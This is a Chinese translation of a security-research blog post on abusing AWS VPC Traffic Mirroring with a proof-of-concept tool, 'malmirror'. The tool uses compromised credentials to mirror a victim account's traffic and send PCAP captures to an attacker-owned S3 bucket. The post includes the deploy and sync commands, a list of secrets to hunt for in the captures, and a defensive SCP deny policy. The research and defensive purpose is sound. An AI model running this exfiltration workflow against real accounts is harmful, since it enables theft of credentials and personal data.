天天看点

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量
端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

云环境下的网络检测问题

人们可能希望监视云环境中的网络流量有很多原因——出于攻击和防御的目的。被动的网络检查在云环境中可能很困难,而且在这之前需要对网络配置进行重大修改,以确保每台主机都被监控,并且不会被恶意用户绕过。这意味着作为一个攻击者,监视整个网络会产生数量难以置信的噪声,而且破坏任何东西也变得非常危险。

对于在云端进行通用网络检查遇到的困难,渗透测试人员采用了其他更简单的方法,比如审查 Elastic Load Balancer 访问日志。这些日志可以为 你提供一些信息,但与全面的网络流量检查相比,这些日志里面的信息非常有限。

然而,AWS 最近在今年六月的 re: Inforce 上发布了一个被动网络检测的新功能,称为“ VPC 流量镜像”。使用这个新特性,我们创建了一个名为“ malmirror”的脚本,用于部署必要的基础设施来镜像和提取 VPC 流量。

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

VPC  流量镜像: 一种潜在的 AWS 网络监测解决方案

VPC  流量镜像是在 VPC 中复制 EC2实例的入站和出站流量,而不需要在实例中安装任何东西。这些重复的流量通常会被发送到类似于网络入侵预防系统服务器(IDS)之类的地方进行分析和监控。

随着 VPC 流量镜像的发布,AWS 中的 VPC 网络检测变得更加容易,无论是进攻还是防守。现在只需要一些 AWS API 调用(以及使用这些 API 的必要权限) ,就可以在 AWS VPC 中监视网络流量。

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

恶意 VPC 流量镜像的影响及其可能性

恶意的 VPC  流量镜像可能产生极大的影响,因为在 VPC  内移动的网络流量通常包含对攻击者有用的敏感信息。实现恶意的 VPC 流量镜像的可能性也非常高,因为通过 VPC 往往有大量的明文流量。使用明文流量的一个常见原因是,在流量镜像之前,流量不太可能被探测到,所以风险不大。

这方面的一个例子是今年1月发布的一个特性,即用于网络负载均衡的 TLS 终止。通常的做法是,环境在其负载均衡器处终止 TLS,然后以明文形式将请求传递给后端服务器。这意味着在 VPC 中将会有大量的明文流量被我们恶意的 VPC 镜像抓取。关于负载均衡器的 TLS 终止的更多信息可以在这里找到,关于最佳实践的一些讨论可以在这里找到。

由于 TLS 对性能的巨大影响,所以许多公司还将在其内部网络中使用明文协议。以前做这些事情感觉很安全,尤其是知道传统的中间人攻击 或 ARP 欺骗变的不可能发生。

由于这些原因,我们可以合理地假设,作为攻击者,在流量镜像攻击期间,我们至少会获得一些明文流量。

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

使用 AWS 凭证部署恶意镜像

作为一家主要关注攻击性研究的公司,我们希望将这一过程自动化,以使其能够快速、简单和可重复的执行。因此,出于这个原因,我们编写了一个概念验证脚本,它将接受 AWS 凭证作为输入参数,并部署必要的基础设施,以便在目标 VPC-malmirror 中开始对所有支持的 EC2实例进行镜像。值得注意的是,VPC 流量镜像只支持由 AWS Nitro 系统驱动的 EC2实例类型,VPC 镜像目标必须与被镜像的任何主机在同一个 VPC 中。

在接下来的几节中,我们将介绍 malmirror 的工作原理、它的功能以及如何分析提取数据。这个脚本可以在我们的 GitHub 上找到。

malmirror 是如何工作的

malmirror 将以下资源部署到一个账户中:

·将流量镜像到的 EC2实例

·该 EC2实例的 EC2安全组

·一个 VPC 镜像目标,指向已创建的 EC2实例

·配置为镜像所有流量的 VPC 镜像过滤器

·在这个帐户中的每个支持的 EC2实例的 VPC 镜像会话

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

一个简单的图表演示了在将镜像基础结构部署到一个小型 VPC 中之后,该小型 VPC 中的流量流可能是什么样的(请注意,为了简单起见,该图中遗漏了许多资源)。

在一切都部署完毕后,流量将开始镜像到创建好的 EC2实例。Ec2实例将开始侦听并以 PCAP 格式记录接收到的所有镜像网络流量。在实例上本地存储了大约100mb 的数据之后,它将自动将该数据转移到 你选择的 S3 存储桶中(可能在 你自己的 AWS 帐户中) ,并从系统中删除本地文件。这样可以防止实例耗尽磁盘空间,并允许我们以自动的方式提取镜像流量。请注意,100mb 的限制是任意设置的,对于一些流量较大的网络来说可能太小了。之所以要以这种方式提取流量,是因为似乎没有一个简单的方法来镜像交叉帐户的流量,这似乎是一个可靠的方式来确保数据转移到外部环境。

由于流量正在被转移到 S3 存储桶中, 你可以在本地下载以便进行分析。一个简单的方法是使用 AWS CLI 提供的 S3“同步”命令,这样 你只需下载上次与 存储桶同步时丢失的数据。

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

使用 malmirror 的先决条件

要使用 malmirror,你需要:

一个用于将镜像流量转移到的 S3 存储桶 (这个存储桶可能在你自己的 AWS 账户中)

存储在 AWS CLI 配置文件中的AWS 凭证(可能属于 你自己 AWS 帐户中的用户)。这个用户应该有访问将 PCAP 文件提取到的 S3 存储桶的 write/s3:PutObject 权限

存储在 AWS CLI 配置文件中的带有以下 IAM 权限 的AWS 凭证(这个凭证是你将镜像部署到的目标帐户) :

·ec2:DescribeInstances

    ·识别要镜像的 EC2实例

·ec2:RunInstances

    ·创建一个将作为 VPC 镜像目标的 EC2实例

·ec2:CreateSecurityGroup

    ·为我们的 EC2实例创建安全组

·ec2:AuthorizeSecurityGroupIngress

    ·允许入站访问我们的 EC2实例

·ec2:CreateTrafficMirrorTarget

    ·将 EC2实例指定为 VPC 镜像目标

·ec2:CreateTrafficMirrorSession

    ·要为我们想要镜像的每个 EC2实例创建镜像会话

·ec2:CreateTrafficMirrorFilter

    ·为镜像会话创建流量过滤器

·ec2:CreateTrafficMirrorFilterRule

    ·要指定将所有流量镜像到我们的 EC2实例

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

使用 malmirror

malmirror 包括两个脚本, deploy-malmirror.py 和 sniff.py。部署脚本在启动镜像资源时使用嗅探脚本,因此 你永远不需要手动运行 sniff.py。

要开始使用 malmirror 镜像流量,请遵循以下步骤:

1. git 克隆并跳到它所在的目录

git clone https://github.com/RhinoSecurityLabs/Cloud-Security-Research && cd Cloud-Security-Research/AWS/malmirror/

2. (可选的步骤) malmirror 是一个早期的概念验证,因此 你可能需要进行一些修改,使其更适合 你的场景,例如:

修改 VPC 镜像目标的 EC2实例类型

修改文件大小限制,在这个限制下,文件将被提取到 S3 存储桶并在本地删除

将 VPC 镜像目标更改为使用网络负载均衡器

限制或修改镜像目标的安全组规则

将EC2实例类型添加到基于 Nitro 的硬编码列表中

进一步细化 VPC 镜像过滤规则

3. 运行 malmirror,坐下来喝一杯咖啡,稍等片刻

python3 deploy-malmirror.py --profile CompromisedCreds --s3-profile S3Creds --region us-west-2 --bucket bucket-for-exfil

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

上图显示了我们的恶意 VPC 镜像基础设施被部署到目标帐户。注意,这里使用了脚本参数的简写。

4. 当文件开始到达 S3存储桶时,要下载这些文件(到它们自己的文件夹中) ,但请记住,存储桶将被不断填满,直到你从目标环境中拆除镜像基础架构为止

aws s3 --profile profile-that-owns-the-bucket sync s3://bucket-for-exfil ./

现在 你已经在本地拥有了一些 PCAP 文件, 你可以分析和使用它们。

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

离线流量分析

将 PCAP 文件同步到本地系统后, 你就可以开始分析这些文件了。你会发现有些流量是加密的,有些流量是不加密的。  你可能无法对加密数据做任何事情,但是明文流量有可能导致许多没有用的发现。要查找的常见内容包括 API 密钥、身份验证令牌 、cookie、用户名/密码、 PII/PHI、文件和 IP 地址/主机名。有数不清的其他事情你可能想要寻找,但这些东西可以给你一个很好的起点。

这里有一些工具可以帮助我们:

· Wireshark/tshark

·dsniff

·ngrep

无论你选择哪种分析器,都可以自动同步来自 S3 的 PCAP 文件,并在文件下载时自动分析过程。这可以通过一个事先设置好的正则表达式或字符串匹配列表来完成,这样可以找到机密信息,并且对于每个下载的新文件,找出任何与这些匹配的内容。因为看起来人们倾向于用他们自己的方式进行分析,所以自动分析并没有内置到这个工具中。

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

限制和警告

我们已经在整个博客中提到了其中的一些观点,但是在执行这种攻击时依然需要考虑一些事情。由于这是一个概念验证脚本,并且此时它还没有经过严格的测试过程,因此查看这些限制和警告特别是非常重要的。

只有基于 Nitro 的 EC2实例类型才可以对其流量进行镜像(可以查找这个列表)

VPC  中任何具有正确路由的内容都可以向镜像目标 EC2实例发送任意流量,因为它允许来自所有内部网络范围(10.0.0.0 / 8,172.16.0.0 / 12,192.168.0.0 / 16)的 UDP 端口上的入站流量

因为所有(也只有)内部 IP 范围都是白名单的镜像目标,所以我们将无法镜像使用 VPC 内部网络的非标准 IP 范围的网络中的流量

如果帐户中已经部署了镜像基础设施,则 malmirror 可能会失败。这可以通过添加一些错误处理和重试功能来避免

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

如何防御这种攻击

防止这种攻击的第一步是意识到并尝试防止 你的 AWS 环境遭到破坏。我们之前发布了一篇博文,介绍了 AWS 密钥被攻破的一些常见方式,你可以在这里找到。

如果 你不在 你的帐户中使用 VPC 流量镜像特性,那么 你可能会使用服务控制策略(Service Control Policy,SCP)在组织层面拒绝访问必要的权限,如下所示:

{"Version":"2012-10-17","Statement":[{"Sid":"DenyVPCTrafficMirroring","Effect":"Deny","Action":["ec2:CreateTrafficMirrorTarget","ec2:CreateTrafficMirrorSession","ec2:CreateTrafficMirrorFilter","ec2:CreateTrafficMirrorFilterRule","ec2:DeleteTrafficMirrorTarget","ec2:DeleteTrafficMirrorSession","ec2:DeleteTrafficMirrorFilter","ec2:DeleteTrafficMirrorFilterRule","ec2:ModifyTrafficMirrorSession","ec2:ModifyTrafficMirrorFilterNetworkServices","ec2:ModifyTrafficMirrorFilterRule"],"Resource":"*"}]}

这个 SCP 将阻止任何应用它的帐户使用这些 API,即使试图这样做的用户和角色在该帐户中拥有正确的 IAM 权限。如果 你确实在 你的环境中使用了 VPC 流量镜像,那么 你应该使用诸如 Amazon EventBridge 之类的东西来严格监视这些 API 的调用,以确保新的镜像资源不会被创建,现有的镜像资源不会被修改或删除。无论是否使用镜像, 你还可以监视帐户中可疑的 EC2实例的创建。肯定还有其他方法可以检测并防止这种类型的攻击,但许多方法是特定于上下文的,并且可能根据环境的设置而有所不同。作为一般的经验法则,最好的做法是尽量减少在 VPC 中传输明文流量。

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量

总结

VPC  流量镜像使攻击者和防御者在他们的 AWS VPC 中更容易监视网络流量,但是过去的常见做法已经导致在这些网络中传输着大量的明文流量。这个新功能还有很多可能性需要在 AWS 中探索,所以看看它会带来什么是令人兴奋的。

如果你还没有看过,你可以在我们的 GitHub 上找到 malmirror。

如果 你担心 AWS 基础设施的安全性,可以考虑执行 AWS 渗透测试,以确定 你的环境中的弱点和漏洞。

注:本文参考自rhinosecuritylabs.com

端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量
端口镜像 流量过滤_在 AWS 云环境中滥用 VPC 流量镜像抓取网络流量